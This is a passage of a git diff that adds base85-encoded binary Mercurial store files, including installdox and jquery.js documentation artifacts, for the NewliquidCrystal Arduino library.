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 kQ{-RN^lZtd#YAfp0;2e!rguQ1ypWCse^71ZC!)�Y1Yw1^@s6 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/installdox.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/installdox.i new file mode 100644 index 0000000000000000000000000000000000000000..57c5be1a4a10056f4f2c928c14bad65f24b78e75 GIT binary patch literal 1037 zcmV+o1oHa;0RRC20000000Yec014Fq00000000>O|NsC0|NsAFLfTtX*-8C89#l$Q z$OvU5Mdn}t00000000000001ZoSjwMa@#f#edkxKQPw3BnT*pn%D2qK@noixPMo@Z zFfErRK?*em$OI_cW2@iZ1;DE!Cv7z&O5E$g?%Bl;J7F!W@P_elNvqOvew6i%RB#9$ z_*2Kds~J@Q`2J?qmQuJTxWbQuDJ0Qe|<6$s}z}=rVmYz2K8^SnrLm!@>jUYG#5)!|)F=*UX`)ZSV z!D~N0(a&MxMoS-o}UA`;I~}d zb5KbExh@;Svh z1H@m)(%(U}Wi996o#F%z@#wn2NOr&HiNehN(Ho%ZC zEd<7kF?@~199X1jT~(B)6huDYB3fy1&=#mcV~f``P|L)U@{Cp9`w0n%-!`@@XKptF zzGcSBAChH}D73)|4d!Z5c75dZK{XXO?s}+aaS#W`ZU}xq?w!&G!lB2Kc&5o+kM-|1 zmpG8C;=gzho~%?wY4DdM-*K}nPD>%FJ@fQiMI7_ykEG(*tO$@mj4x{i*48p8;Tdp& z4bMf*vmL{pA$jwb-2>Kk4D!d^IL(+cncO@Gf`*71x+}^o*UK!|5{wCEiv~Bzt+A;& zCXnDEX_5uC<`Xyfx6Z+7Rf#HsG~rw*Xk0AAv|q=6T(in9jrD+7-iHY}aPyv5ZEmAH zn~)&E^q1^qbzi`ki{#gq< zNm%sT+ZN&sh|Wq H^>?bcSaSBT literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/jquery.js.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/jquery.js.i new file mode 100644 index 0000000000000000000000000000000000000000..508e46372174b250cd0ee3ef583357e9befca88e GIT binary patch literal 27824 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 